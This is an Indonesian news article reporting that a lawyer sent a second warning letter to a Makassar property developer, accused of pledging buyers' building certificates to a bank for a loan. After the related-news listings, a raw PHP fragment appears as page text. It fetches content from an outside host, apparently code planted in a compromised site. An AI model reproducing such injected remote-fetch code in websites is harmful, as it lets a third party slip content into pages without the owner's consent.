Dedi Damanik,SH.MH Melayangkan Surat Somasi Ke 2 ke PT. Castell Persada Propertindo

Jumat, 2 Agustus 2024

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

Jejakkasus.info – Makassar Provinsi Sul Sel – Dedi Kurniawan Damanik, S.H.,M.H kuasa hukum dari para klien korban sertifikat yang diduga diagungkan ke Pihak ke 3, melayangkan surat somasi ke 2 pada PT. Castell Persada Propertindo The Castell Premium, Jl. Waduk Tunggu Pampang Blok. A No.1 , Jumat (2 Agustus 2024)

Ditemui jejakkasus.info di salah satu warkop di Jalan Petrani Makassar Dedi Damanik mengatakan, “Bahwa para klien kami telah melakukan pemesanan rumah hunian serta telah dilakukan pembayar dan/atau telah lunas, akan tetapi
Sertifikat Hak Guna Bangunan (SHGB) diagunkan oleh Direktur Utama dan
Komisaris PT. Castell Persada Propertindo guna mendapatkan kredit Yasa Griya
(KYG) di PT. Bank Tabungan Negara (persero), Tbk, Commercial Banking center Makassar”, paparnya.

Baca Juga:  Antisipasi Lonjakan Covid 19, Ditresnarkoba Polda Jateng Lakukan Razia di Sejumlah Tempat Hiburan Malam

Lanjut Dedy, “Bahwa tanggal 6 April 2022, Pihak PT. Bank Tabungan Negara (Persero)
Tbk. Commercial Banking Center Makassar, mensetujui permohonan
pemberian kredit Yasa Griya (KYG) dan/atau kontruksi PT. Castell Persada
Propertindo yang diajukan oleh Renal Dedy Tulak (Direktur Utama) dan
Harianto (Komisaris)”, pungkasnya.

Baca Juga:  Bupati Nias Hadiri Syukuran Terpilihnya Kepala Desa Sihareö III Hilibadalu

Dikonfirmasi jejakkasus.info melalui Via WhatsApp Harianto selaku Komisaris PT. Castell Persada Propertindo mengatakan, “Kurang tau juga Pak..iya Krn sy sdh 2 tahun tdk di PT Castell”, paparnya.

Baca Juga:  Wakil ketua I DPRD Agus Sartono A.Md bersama Anggota Komisi I lamsel kunjungi BUMDes Desa Sidomulyo

Lebih lanjut, “Bisa langsung hub Pihak PT Castell Terimah kasih”, tutupnya.

 

(IRWAN)

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Pelantikan APDESI Deli Serdang Resmi Dilantik Periode 2024-2029
Tim Personel Gabungan Evakuasi Toyota Rush Nyaris Jatuh ke Laut di Pelabuhan Jangkar
Diduga Narapidana Lapas Narkotika Kelas IIA Pamekasan Dan Narapidana Lapas Kelas IIA Pamekasan Bisa Berenang
Tingkatkan Ketaqwaan KPH Perum Perhutani Bondowoso Adakanaulid Nabi dan Berikan Santunan Pada Anak Yatim
Empat Tahun Peristiwa Kematian Saputra Fibriansyah, Polres Gresik Mulai Buka Penyelidikan Baru
Kapolres Tabanan Gelar Jumat Curhat Bersama Warga Desa Sudimara di Pantai Yeh Gangga
Prajurit Kodam IX/Udayana Raih Medali di Cabang MMA PON XXI 2024
Kuasa hukum AG, Reydi Nobel.S.H apresiasi majelis hakim tunggal, ni Made Dewi Sukarni.SH karena mengabulkan permohonan praperadilan.

Berita Terkait

Sabtu, 21 September 2024 - 00:03 WIB

Pelantikan APDESI Deli Serdang Resmi Dilantik Periode 2024-2029

Sabtu, 21 September 2024 - 00:00 WIB

Tim Personel Gabungan Evakuasi Toyota Rush Nyaris Jatuh ke Laut di Pelabuhan Jangkar

Jumat, 20 September 2024 - 23:43 WIB

Diduga Narapidana Lapas Narkotika Kelas IIA Pamekasan Dan Narapidana Lapas Kelas IIA Pamekasan Bisa Berenang

Jumat, 20 September 2024 - 17:35 WIB

Tingkatkan Ketaqwaan KPH Perum Perhutani Bondowoso Adakanaulid Nabi dan Berikan Santunan Pada Anak Yatim

Jumat, 20 September 2024 - 11:01 WIB

Kapolres Tabanan Gelar Jumat Curhat Bersama Warga Desa Sudimara di Pantai Yeh Gangga

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>